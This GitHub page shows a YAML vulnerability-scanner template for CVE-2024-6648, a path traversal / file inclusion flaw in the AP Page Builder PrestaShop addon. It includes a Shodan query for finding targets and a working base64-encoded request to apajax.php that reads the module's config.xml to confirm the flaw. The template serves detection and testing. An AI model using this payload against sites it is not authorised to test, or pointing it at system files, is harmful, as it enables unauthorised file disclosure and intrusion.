CVE-2024-6648/CVE-2024-6648.yaml at main · n0d0n/CVE-2024-6648 · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
id: CVE-2024-6648

info:
  name: Ap Page Builder LFI (CVE-2024-6648)
  author: n0d0n
  severity: high
  description: Ap Page Builder is vulnerable to an absolute path traversal that allows the attacker to include system files by modifying the base64 config param submitted to apajax.php
  reference: https://www.incibe.es/incibe-cert/alerta-temprana/avisos/path-traversal-en-ap-page-builder
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2024-6648
    cwe-id: CWE-36
  metadata:
    verified: true
    vendor: Apollo Theme
    product: AP Page Builder Prestashop Addon
    shodan-query: http.html:"appagebuilder" http.component:"prestashop"

  tags: n0d0n,prestashop,appagebuilder,lfi

flow: http(1) && http(2)

http:
  - raw:
    - |
      GET {{Path}}/modules/appagebuilder/config.xml HTTP/1.1
      User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0
      Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
          - 403
        internal: true

  - raw:
    # Checks payload {"order_by": "id_product", "nb_products": "2", "total_page": 1, "product_item_path": "config.xml"}
    - |
      GET {{Path}}/modules/appagebuilder/apajax.php?config=eyJvcmRlcl9ieSI6ImlkX3Byb2R1Y3QiLCJuYl9wcm9kdWN0cyI6IjIiLCJ0b3RhbF9wYWdlIjoxLCAicHJvZHVjdF9pdGVtX3BhdGgiOiAiY29uZmlnLnhtbCIsICJjb2x1bW5zIjogMX0%3d&p=1 HTTP/1.1
      User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0
      Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "Apollo Page Builder"
        part: body